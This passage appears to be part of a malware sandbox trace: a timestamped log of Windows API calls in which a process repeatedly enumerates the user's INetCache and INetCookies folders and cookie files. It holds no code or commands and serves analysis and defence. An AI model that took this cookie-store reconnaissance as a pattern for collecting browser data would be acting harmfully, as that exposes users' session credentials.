lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Low", lpFilePart=0x0) returned 0x43 [0219.332] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Low\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\low\\*"), lpFindFileData=0x1dc9b970 | out: lpFindFileData=0x1dc9b970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x148bedf, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.332] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x148bedf, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.333] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x148bedf, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x148bedf, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x151cf6b, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x500088, dwReserved0=0x0, dwReserved1=0x0, cFileName="SuggestedSites.dat", cAlternateFileName="SUGGES~1.DAT")) returned 1 [0219.333] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.333] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb90) returned 1 [0219.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb50) returned 1 [0219.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9bc60) returned 1 [0219.333] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Low", nBufferLength=0x105, lpBuffer=0x1dc9b740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Low", lpFilePart=0x0) returned 0x43 [0219.333] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Low\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\low\\*"), lpFindFileData=0x1dc9b970 | out: lpFindFileData=0x1dc9b970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x148bedf, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x148bedf, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.333] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x148bedf, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x148bedf, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.334] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x148bedf, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x148bedf, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x151cf6b, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x500088, dwReserved0=0x0, dwReserved1=0x0, cFileName="SuggestedSites.dat", cAlternateFileName="SUGGES~1.DAT")) returned 1 [0219.334] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x148bedf, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x148bedf, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x151cf6b, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x500088, dwReserved0=0x0, dwReserved1=0x0, cFileName="SuggestedSites.dat", cAlternateFileName="SUGGES~1.DAT")) returned 0 [0219.334] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb90) returned 1 [0219.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb50) returned 1 [0219.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9bc60) returned 1 [0219.334] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized", nBufferLength=0x105, lpBuffer=0x1dc9b740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized", lpFilePart=0x0) returned 0x4b [0219.334] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\virtualized\\*"), lpFindFileData=0x1dc9b970 | out: lpFindFileData=0x1dc9b970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.335] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.335] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.335] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb90) returned 1 [0219.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb50) returned 1 [0219.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9bc60) returned 1 [0219.335] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized", nBufferLength=0x105, lpBuffer=0x1dc9b740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized", lpFilePart=0x0) returned 0x4b [0219.336] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\virtualized\\*"), lpFindFileData=0x1dc9b970 | out: lpFindFileData=0x1dc9b970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.336] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.336] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.336] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb90) returned 1 [0219.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb50) returned 1 [0219.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0219.336] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies", lpFilePart=0x0) returned 0x41 [0219.337] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcookies\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xcdb29b5, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xcdb29b5, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.337] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xcdb29b5, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xcdb29b5, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.337] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x745b61a0, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x745b61a0, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x745b61a0, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0219.337] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf3a000c1, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf3a000c1, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DNTException", cAlternateFileName="DNTEXC~1")) returned 1 [0219.337] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcdb29b5, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0xcdb29b5, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xcdb29b5, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="GWI1FAOF.txt", cAlternateFileName="")) returned 1 [0219.338] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcdb29b5, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0xcdb29b5, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xcdb29b5, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x25e, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE1R8J76.txt", cAlternateFileName="")) returned 1 [0219.338] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0219.338] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrivacIE", cAlternateFileName="")) returned 1 [0219.338] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrivacIE", cAlternateFileName="")) returned 0 [0219.338] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0219.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0219.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0219.338] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies", lpFilePart=0x0) returned 0x41 [0219.339] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcookies\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xcdb29b5, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xcdb29b5, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.339] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xcdb29b5, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xcdb29b5, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.339] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x745b61a0, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x745b61a0, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x745b61a0, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0219.339] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf3a000c1, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf3a000c1, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DNTException", cAlternateFileName="DNTEXC~1")) returned 1 [0219.339] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcdb29b5, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0xcdb29b5, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xcdb29b5, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="GWI1FAOF.txt", cAlternateFileName="")) returned 1 [0219.340] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcdb29b5, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0xcdb29b5, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xcdb29b5, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x25e, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE1R8J76.txt", cAlternateFileName="")) returned 1 [0219.340] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0219.340] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrivacIE", cAlternateFileName="")) returned 1 [0219.340] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.340] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0219.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0219.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9bc60) returned 1 [0219.340] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException", nBufferLength=0x105, lpBuffer=0x1dc9b740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException", lpFilePart=0x0) returned 0x4e [0219.341] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcookies\\dntexception\\*"), lpFindFileData=0x1dc9b970 | out: lpFindFileData=0x1dc9b970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf3a000c1, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf3a000c1, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.341] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf3a000c1, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf3a000c1, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.341] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf3a000c1, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xf3a000c1, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf3a000c1, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0219.341] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0219.341] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, 